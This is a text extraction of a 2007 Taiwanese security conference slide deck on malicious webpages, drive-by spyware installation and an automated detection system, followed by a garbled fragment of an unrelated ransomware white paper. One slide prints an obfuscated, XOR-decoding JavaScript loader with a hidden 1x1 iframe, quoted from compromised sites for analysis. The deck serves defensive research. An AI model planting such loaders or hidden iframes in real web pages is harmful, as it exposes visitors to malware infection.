Microsoft PowerPoint - HIT2007-Taiwan Malicious Webpage and Spyware Hacking-print.pptx

Size: px

Start display at page:

Download "Microsoft PowerPoint - HIT2007-Taiwan Malicious Webpage and Spyware Hacking-print.pptx"

韶羿
5 years ago
Views:

1 Jeremy Chiu, Lead Security Researcher, X Solve Lab Armorize Technologies

2 Prefix 由於近日惡意網頁的問題頻傳, 讓駭客利用惡意程式大量入侵, 造成了許多政府機關及各企業的機密資料外洩等資安問題為了對抗惡意網頁及伴隨而來的網路犯罪問題, 今年阿碼科技公司的艾克索夫實驗室研究團隊特別企劃了一個研究計畫, 針對了台灣區網站進行大規模資安檢測對於現階段的惡意網站問題與惡意程式掛馬兩大部分進行研究, 在這個報告中將對於植入的技術與惡意程式做深入的技術分析, 活生生的內容, 讓您了解目前台灣區的各機關與公司網站被入侵現況 Taiwan Malicious Webpage and Spyware Hacking 2

3 About me Jeremy Chiu (Birdman) BTW, I got a new job! 阿碼科技公司 X Solve 實驗室首席資安研究員 Lead Security Researcher, X Solve Lab, Armorize Technologies Taiwan Malicious Webpage and Spyware Hacking 3

4 Outline New Threat! Web based Malware What is Malicious Webpage? The Last Malicious Webpage Report in Taiwan Cyber Criminal Groups Are Working Analysis of Malicious Webpage Spyware Hacking Automatic Web based Malware Analysis System HIT Taiwan Malicious Webpage and Spyware Hacking 4

5 New Threat! Web based Malware 資安的新挑戰 Web Security 大家都知道 Web 2.0 是炒熱了新一波的網路熱潮, 但是很快的, 我相信就有 Web 2.0 SP1 了 Web based Malware 根據最近的各家的研究報告指出, 目前 Malware 與 Web Security 已經狼狽為奸的關係 Google 研究中指出 1/10 的網站是惡意的 ; 而且在 1200 萬的惡意網頁中, 其中 100 萬的網頁會有下載惡意程式的行為 Google 研究中, 每 2 千頁左右的網頁就會有一個是會植入惡意程式的 Taiwan Malicious Webpage and Spyware Hacking 5

6 Location of compromised web sites Location of malware distribution servers The majority of malware activity seems to happen in China, the U.S., Germany and Russia Reference: Introducing Google's online security efforts HIT Taiwan Malicious Webpage and Spyware Hacking 6

7 司法院慘遭染指 Taiwan Malicious Webpage and Spyware Hacking 7

8 What is Malicious Webpage? Malicious Webpage 網頁被 Hacker 竄改, 放內惡意程式碼或是惡意連結, 導致瀏覽網頁的使用遭受影響, 其主要目的在於大量植入 Spyware, 竊取資料以及盜取密碼惡意的程式碼網頁上的惡意 Script Malscript 攻擊使用者環境的程式碼 Exploit 惡意連結 Malink (Maliframe) 為甚麼網頁會被竄改 Web Application Security 通常是網站以被入侵, 以 SQL Injection 問題居多 Taiwan Malicious Webpage and Spyware Hacking 8

9 Hacker 成本低廉 ~ 只要有心, 人人都是駭客駭客教學雜誌, 教學動畫, 滿天飛只要看過黑 XX 雜誌,1 個月內速成駭客! 網路上充斥著各式各樣的便宜駭客工具各種駭客用的免殺後門程式, 變形工具各種 ZeroDay Exploit 產生器 9

10 常用的掛馬 Exploit 主要針對微軟環境為主 MS MS Windows Animated Cursor (.ANI) Remote Exploit MS MS VML Remote Code Execution (929969) MS MS] XML Core Services Remote Code Execution (928088) MS MS MS WebViewFolderIcon ActiveX MS MS MDAC Remote Code Execution MS MS MS MS HIT Taiwan Malicious Webpage and Spyware Hacking 10

11 solve.com/blog 艾克索夫實驗室 ( 資安技術社群 ) 11

12 Analysis of Malicious Webpage The Two Malicious Webpage Modes Malink Encoded Script Exploit Code Drop Spyware Encoded Script Exploit Code Drop Spyware Taiwan Malicious Webpage and Spyware Hacking 12

13 Encoded Scripts 編碼過的 Java Script 來產生 HTML 網頁上的 Exploit 為了逃過掃毒程式或是 IDS/IPS 等特徵檢查, 通常使這技巧來達到執行時期才產生惡意 HTML 的功能某種程度來說這是一種 SMC, 也是 PE Packer 才用的技巧 <script language="javascript">e = '0x00' + '5F';str1 = "%E4%BC%B7%AA%C0%AD%AC%A7%B4%BB%E3%FE%AA%B7%AD%B7%BE%B7%B4%B7%AC%A7%E6%B8%B7 %BC%BC%BB%B2%FE%E2%E4%B7%BA%AE%BF%B3%BB%C0%AD%AE%BD%E3%FE%B8%AC%AC%B0%E6%F1 %F1%B0%AE%BF%BC%B1%E9%F2%BD%B1%B3%F1%AC%AE%BA%F1%FE%C0%A9%B7%BC%AC%B8%E3%EF %C0%B8%BB%B7%B9%B8%AC%E3%EF%E2%E4%F1%B7%BA%AE%BF%B3%BB%E2%E4%F1%BC%B7%AA%E2"; str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+string.fromcharcode((tmp.charcodeat(0)^e) 127);}document.write(str); </script> <div style="visibility:hidden"><iframe src=" width=1 height=1></iframe></div> Taiwan Malicious Webpage and Spyware Hacking 13

14 Demo ASCII 7 8 Bits Encoding 複合型 Encoding HIT Taiwan Malicious Webpage and Spyware Hacking 14

15 The Last Malicious Webpage Report in Taiwan 台灣是一個怎樣的國家? 很熱情? 很友善? No! 是一個 Malware Friendly Country! 剛好打進前 10 強 Reference: PandaResearch Taiwan Malicious Webpage and Spyware Hacking 15

16 搜尋.tw 發現了 1498 筆資料 Taiwan Malicious Webpage and Spyware Hacking 16

17 Malicious Webpage Report By X Solve Lab WebProtector 有鑑於攻擊行為的氾濫, 我們開發了自動化的惡意網頁與惡意程式分析系統 WebProtector 最近一次的分析報告是 , 針對台灣個網站的主要網頁進行調查與分析請注意! 本研究資料為的自動掃描系統分析, 僅供參考某些資料以 XX 顯示, 這表示僅在 HIT2007 現場公布 HIT Taiwan Malicious Webpage and Spyware Hacking 17

18 密 HIT Taiwan Malicious Webpage and Spyware Hacking 18

19 報告解讀與分析遭受侵害的網頁報告 (Malicious Webpage)=404 惡意連結數量 (Malink) = 233 還活躍惡意連結報告 (Active Malink) = 2XX 惡意程式分析 (Dropped Spyware)= 4X 惡意程式所在國家分析 (Location of Spyware) HIT Taiwan Malicious Webpage and Spyware Hacking 19

20 密 HIT Taiwan Malicious Webpage and Spyware Hacking 20

21 Cyber Criminal Groups Are Working 更高層次的網路犯罪已經在運作根據目前各項資料顯示, 我們推測在台灣網站間出現大量惡意程式與惡意網頁並不是巧合, 而是由網路犯罪集團所策動, 有計畫有組織的滲透, 不僅針對個人或是公司, 甚至是針對機關或是組織而來駭客集團大量蒐集個人資料與帳戶密碼, 進行社交網路分析 Taiwan Malicious Webpage and Spyware Hacking 21

22 Spyware Hacking 接下來我們來分析幾隻常見的 Spyware Taiwan Malicious Webpage and Spyware Hacking 22

23 Taiwan Malicious Webpage and Spyware Hacking 23

24 Automatic Web based Malware Analysis System WebProtector 全自動惡意網頁惡意分析系統, 可提供即時的惡意連結與惡意程式監控 Sandbox Analyzer Client Sandbox Sandbox Protector Server Taiwan Malicious Webpage and Spyware Hacking 24

Web Protector Server Protector 可以監控大量的網址, 檢測是否被植入惡意連結, 提供即時的資訊網頁竄改的及時監控 (Real time Protection of Tampering Webpage) 自動化全網站掃描 (Automatic Detection of

25 Web Protector Server Protector 可以監控大量的網址, 檢測是否被植入惡意連結, 提供即時的資訊網頁竄改的及時監控 (Real time Protection of Tampering Webpage) 自動化全網站掃描 (Automatic Detection of Malicious Webpage) 惡意網頁與入侵趨勢分析報告 (The Trends of Malicious Webpage Comprehensive Analysis Report) HIT Taiwan Malicious Webpage and Spyware Hacking 25

26 網站的 Risk Level 密 HIT Taiwan Malicious Webpage and Spyware Hacking 26

Web Analyzer Client Control By WebProtector Server 分析動態 JavaScript 或是加密的惡意網頁 (Encoded JavaScript Analysis) 啟發式自動化惡意網頁掃描 (Heuristic Scan of Malicious Webpage)

27 Web Analyzer Client Control By WebProtector Server 分析動態 JavaScript 或是加密的惡意網頁 (Encoded JavaScript Analysis) 啟發式自動化惡意網頁掃描 (Heuristic Scan of Malicious Webpage) 植入的惡意程式下載網址分析 (Download URL Analysis of Injected Malware) 新型的惡意網頁偵測 (Webpage Zeroday Malicious Code Detection) 密 Taiwan Malicious Webpage and Spyware Hacking 27

28 Q&A Thx Taiwan Malicious Webpage and Spyware Hacking 28

29 Special Thanks Sscan, Nanika, PK, Tim, Unary, Bob Reference D00_friendly countries.aspx googles antimalware.html Taiwan Malicious Webpage and Spyware Hacking 29

2016 勒索軟體白皮書

2016 勒索軟體白皮書 Botnet Botnet 1 1 2 2 5 5 6 9 10 11 11 11 12 12 12 12 12 12 13 14 2016 1989 AIDS AIDS C 189 2005 2006 TROJ_CRYPZIP.A 2011 TROJ_RANSOM.QOWA 12 2012 REVETON 2013 Cryptolocker Cryptolocker AES RSA Cryptolocker